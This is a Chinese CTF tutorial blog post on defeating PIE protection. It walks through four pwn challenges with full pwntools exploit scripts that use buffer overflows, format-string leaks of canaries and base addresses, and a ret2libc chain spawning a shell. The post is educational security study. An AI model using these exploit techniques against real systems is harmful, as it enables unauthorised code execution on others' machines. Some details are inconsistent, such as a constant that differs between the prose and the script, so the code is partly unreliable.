pwn中的pie保护

1:什么是pie保护

开启pie保护后程序内的地址在每次进入时会随机化,而开启pie保护的文件在放入ida分析时看到的地址为偏移地址。

2:如何解决pie保护?

和ret2libc一样的是开启pie保护后,程序也会有一个pie的基地址,pie的基地址加上ida里面函数的偏移就是函数的真实地址,也就是说pie的基地址是解题的关键。

3:实例分析

难度依次增加

##题目1

首先看ida分析main函数第6行,程序会直接把main函数的真实地址打印出来,也就是说

main函数的真实地址-偏移=pie_base。main函数在ida中的地址为0x770。后门函数的地址为

0x80F,并且存在read函数的溢出点。那么这题就能解出来了,exp如下:

from pwn import*
p=process("./pwn")
elf=ELF('./pwn')
p.recvuntil("gift!\n")
main_addr=int(p.recv(10),16)
pie=main_addr-0x770
system=pie+0x80F
pay=b'a'*(0x28+4)+p32(system)
p.sendline(pay)
p.interactive()

##题目2

 

 

 

 

 思路:例题二似乎代码很多,main函数可以输入数字选择跳转到另外几个函数,我们可以看到case2有一个printf函数,把我们输入的东西打印出来,也就是说我们可以通过此处的格式化字符串漏洞泄露一个真实地址,进而得到pie的基址,再计算得到后门函数的地址,通过case1进行payload的输入

from pwn import*
p=process("./pwn")
elf=ELF('./pwn') 
p.recvuntil("choice :\n")
p.send('2')
p.recvuntil('Warriors\n')
pay=b'%11$p'             #这里是我认为不好写的一步,本人是慢慢调试最后找到的%11$p
p.sendline(pay)
main=int(p.recv(14),16)-181       #这里得到的地址是main+181处
pie=main-0x12eb
bin=pie+0x129A    
p.recvuntil("choice :\n")
p.send('1')
pay=b'a'*0x28+p64(bin)
p.sendlineafter('Mountain\n',pay)
p.interactive()

exp如上。这种题目是慢慢调试做出来的。emmmm。

##题目3

 通过main函数我们可以看到存在两个gets函数和一个printf(format),也就是说我们可以通过第一次gets函数写入数据通过printf泄露出canary的值以及一个真实地址去计算pie基址。经过数次调试让我们看看exp吧:

from pwn import*
p=process("./find_flag")
elf=ELF('./find_flag')
def bug():
	gdb.attach(p)
	pause() 
p.recvuntil("your name?")    
pay=b'%17$p%19$p'         #多次调试,每次都卡在这里
#bug()
p.sendline(pay)  
p.recvuntil(',')
p.recvuntil(b'0x')
canary=int(p.recv(16),16)
p.recvuntil(b'0x')
mov=int(p.recv(12),16)          #这个泄露的地址根据在gdb以及ida里面一顿乱找才找到
pie=mov-0x146f
bin=0x1231+pie
pay=p64(canary)*9+p64(bin)  
p.sendline(pay)
p.interactive()
                                                                                               

 通过调试%17$p%19$p这两个一个能泄露出canary,另一个是一个指令mov eax。(这个花了很长时间才发现)。剩下就是常规的溢出操作。我这里为了方便就写的canary*9了。

小结:1:canary存在于rbp或者ebp的上面(对前面文章的补充吧),图片中canary存在于箭头的v3变量处,可以通过这种方法确定canary在栈中的位置

2:这种类型的题感觉就是泄露出想要的地址比较难。我的建议就是多次调试去自己尝试着找地址。

##题目4

main函数令人头皮发麻,我们运行一下可以发现会出现15个随机数相加的数学题(这里可以用-1直接跳过,也可以解题)

最后会出现一个类似判断的问题,即if ( !HIDWORD(v5) ),他的意思是:这个条件检查 v5 的高16位是否为零。如果是,则执行接下来的代码,也就是直接退出程序,也就是说如果我们计算15个题目后,给v5进行赋值,让v5不通过if条件,同时我们可以观察到(int)v5%1280是作为参数到gift里面的。跟进gift函数发现这个参数就是我们的write读入的长度,所以为了不满足if条件但满足长度,这里找到了0x6000000ff

接下来就是漫长的gdb调试要接收计算三个地址,分别是canary的值,pie,libc_base

可以看到rdx即读入长度为0xff完全够读入我们的payload,这时候查看一下进去gift函数后栈上的情况

分别是接收一下canary的值,接收一下开启pie保护后main函数的值去计算pie,再接收一个libc的真实地址去计算libc_base.带上这个思路,我们通过write函数的特性把需要的地址接收。尝试接收发现第一个接收到的就是canary的值,那么事情就好办多了

canary=u64(p.recv(8))
rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_start_call_main=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
main=u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00'))

这里把rbp也接受一下以便于接收下个以\x7f开头的地址,下面的话就是计算,我就直接放exp了

from pwn import*
p=process("./pwn2")
elf=ELF('./pwn2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./chall")
elf=ELF('./chall')  
for i in range(15):
   p.recvuntil(b'? ')
   p.sendline(b'-1')
p.recvuntil(b'= ? ')
p.sendline(str(0x1000000ff))
canary=u64(p.recv(8))
rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_start_call_main=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
main=u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00'))
pie=main-0x1547
rdi=pie+0x1713
libc_base=libc_start_call_main-libc.sym['__libc_start_main']+54
sys=libc_base+libc.sym['system']
bin=libc_base+next(libc.search(b'/bin/sh'))
pay=p64(canary)*2+p64(rdi+1)+p64(rdi)+p64(bin)+p64(sys)
p.sendline(pay)
p.interactive()
               

这里我最后用的是libc库中的libc_start_main计算的libc_base,因为libc库中好像找不到libc_start_call_main,计算的时候把他俩函数之间的偏移计算进去即可。后面第二个payload就是常规的libc解题操作。可以看到这道题融合了libc以及canary和pie以及代码审计,小编认为质量特别好)

4总结

1:多gdb调试,去看自己输入的数据在栈中是什么情况。

2:pie和canary以及libc的地址源于泄露,可以多动手操作去尝试。

3:经过以上几个题目发现自己写题慢以及做不出题目还是只是少,最后一题的代码审计最开始根本看不懂。。。

  • 31
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值